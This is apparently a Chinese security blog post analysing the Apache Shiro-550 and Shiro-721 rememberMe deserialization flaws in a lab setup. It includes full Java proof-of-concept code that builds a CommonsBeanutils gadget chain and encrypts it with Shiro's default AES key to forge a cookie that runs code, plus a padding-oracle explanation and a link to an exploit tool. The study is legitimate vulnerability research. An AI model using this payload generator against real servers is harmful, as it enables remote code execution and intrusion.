shiro 反序列化漏洞

shiro 反序列化漏洞

Shiro-550

漏洞原理

影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含rememberMe=deleteMe字段。

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。这里面比较重要的就是搞到 AES 加密的密钥。

而在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,如果没有更改默认密码,攻击者就可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

环境搭建

分别下载
shiro 下载地址:https://github.com/jas502n/SHIRO-550(下载对应war包即可)

shiro 源码下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

tomcat 配置,

然后选择下载的 shiro war 包

在项目中也需要更改为 jdk1.7 版本。

最后运行访问端口。

参考:https://blog.csdn.net/qq_44769520/article/details/123476443

漏洞分析

rememberMe 生成

登录抓包,看见在成功登录后给了一个 set-cookie,

回到源码看看这串 cookie 是怎么生成的,全局搜索 cookie 相关处理的类,发现了 CookieRememberMeMananger 类,分析该类的方法,发现方法 rememberSerializedIdentity 就是生成 cookie 的函数,不过这里只能看到把 serialized 进行了 base64 编码

发现其在函数 AbstractRememberMeManager#rememberIdentity 调用,

跟进看到调用了函数 convertPrincipalsToBytes 对 cookie 数据进行加密,

来到 convertPrincipalsToBytes 函数,首先进行了序列化,然后进行加密,

加密的话就是个 AES 加密,看一下其 key 是通过 getEncryptionCipherKey 函数来的,

而这个函数其实就是返回了个常量,所以现在要找谁给常量 encryptionCipherKey 赋了值。

找到函数 setCipherKey,其调用的 setEncryptionCipherKeysetDecryptionCipherKey 就是分别给加密和解密设置 key


继续朔源看谁调用了 setCipherKey 函数,发现在构造函数中

常量 DEFAULT_CIPHER_KEY_BYTES 就是默认设置的加密 key 了。

至此生成 cookie 的大概过程就清楚了就是序列化+AES 加密+base64 编码。

rememberMe 解密

现在来看看是如何获取 cookie 并进行反序列化的,找到其 base64 解码对应方法

同样查找谁调用了该方法,在 AbstractRememberMeManager#getRememberedPrincipals

这里就是先调用 getRememberedSerializedIdentity 函数进行 base64 解码后在调用 convertBytesToPrincipals 进行 AES 解密和反序列化,

漏洞利用

知道存在反序列化,那么 payload 生成也就是序列化恶意 poc+AES 加密+base64 加密,然后就可以进行攻击了。这里 shiro 是自带 cb 链的,

构造 poc,

package org.apache.shiro.web;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.codec.CodecSupport;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class shiroCBtest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        PriorityQueue queue = new PriorityQueue(1);  
  
        BeanComparator comparator = new BeanComparator("outputProperties");  
  
        queue.add(1);  
        queue.add(1);  
  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        field.setAccessible(true);  
        field.set(queue,comparator);  
  
        Object[] queue_array = new Object[]{tem,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        String data = serilize(queue);  
        byte[] originalText =  Base64.decode(data);  
  
        // 加密  
        String encryptedText = encrypt(originalText, SECRET_KEY);  
        System.out.println("Encrypted: " + encryptedText);  
    }  
  
    public static String encrypt(byte[] data, String secret) throws Exception {  
        AesCipherService aes = new AesCipherService();  
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  
        ByteSource ciphertext = aes.encrypt(data, key);  
        return ciphertext.toString();  
    }  
  
    public static String serilize(Object obj)throws IOException {  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream objout=new ObjectOutputStream(out);  
        objout.writeObject(obj);  
        byte[] ObjectBytes = out.toByteArray();  
        String base64EncodedValue = Base64.encodeToString(ObjectBytes);  
        return base64EncodedValue;  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

抓包替换 rememberMe 字段,发包后报错,显示报错和 cc 有关

后面看了组长的视频知道是因为没有 cc 依赖,而 cb 中的 BeanComparator 类构造函数引用了 cc 中的类 ComparableComparator

可以用它的另一个构造函数,只不过这里需要找一个继承了 Comparator 接口并且继承 Serializable 接口的类,

发现 AttrCompare 类就满足条件。

所以重新构造

package org.apache.shiro.web;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.codec.CodecSupport;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class shiroCBtest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/yusi.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        PriorityQueue queue = new PriorityQueue(1);  
  
        BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());  
  
        queue.add(1);  
        queue.add(1);  
  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        field.setAccessible(true);  
        field.set(queue,comparator);  
  
        Object[] queue_array = new Object[]{tem,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        String data = serilize(queue);  
        byte[] originalText =  Base64.decode(data);  
  
        // 加密  
        String encryptedText = encrypt(originalText, SECRET_KEY);  
        System.out.println("Encrypted: " + encryptedText);  
    }  
  
    public static String encrypt(byte[] data, String secret) throws Exception {  
        AesCipherService aes = new AesCipherService();  
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  
        ByteSource ciphertext = aes.encrypt(data, key);  
        return ciphertext.toString();  
    }  
  
    public static String serilize(Object obj)throws IOException {  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream objout=new ObjectOutputStream(out);  
        objout.writeObject(obj);  
        byte[] ObjectBytes = out.toByteArray();  
        String base64EncodedValue = Base64.encodeToString(ObjectBytes);  
        return base64EncodedValue;  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

emm,用 jdk17 来编译 class 文件。最后弹出计算机

Shiro721

漏洞原理

影响版本:Apache Shiro <= 1.4.1
漏洞特征:响应包中包含字段remember=deleteMe字段

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

环境搭建

参考:https://github.com/inspiringz/Shiro-721

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1

然后在执行下面命令编译 war 包

cd samples/web
mvn install

配置 tomcat 和上面一样,只不过 jre 版本改为 1.8,webapps 目录下面选择该 war 包。然后运行结果如下

漏洞分析

其他地方其实和 shiro550 没什么差别,就是在对序列化内容进行编码有所改变,shiro550 是通过固定密钥来进行的加密,其设置密钥函数

而 shiro721 中则是通过动态来生成的密钥,

跟进函数 generateNewKey 看看密钥是怎么生成的。

初始化了 keyBitSize 对象,这里是获得一个随机数发生器SecureRandom

然后调用了 generateKey()函数

最后 getEncoded 获得了 16 位随机密钥。

但是由于加密用的是 AES-128-CBC 加密模式,可以利用 CBC 翻转进行绕过。

漏洞利用

这里需要利用差异性响应来逐个解密密文中的块,所以这里需要来看解密的不同响应,

  • 当收到一个有效密文(解密时正确填充的密文)但解密为无效值时,应用程序会显示自定义错误消息 (200 OK)

也就是前面看到的Set-Cookie: rememberMe=deleteMe

  • 当收到无效的密文时(解密时填充错误的密文),应用程序会抛出加密异常(500 内部服务器错误)
  • 当收到一个有效的密文(一个被正确填充并包含有效数据的密文)时,应用程序正常响应(200 OK)

其实总结就是

  • Padding正确,服务器正常响应
  • Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe

这里就直接利用工具进行构造了,工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

posted @ 2024-10-15 13:32  高人于斯  阅读(89)  评论(0编辑  收藏  举报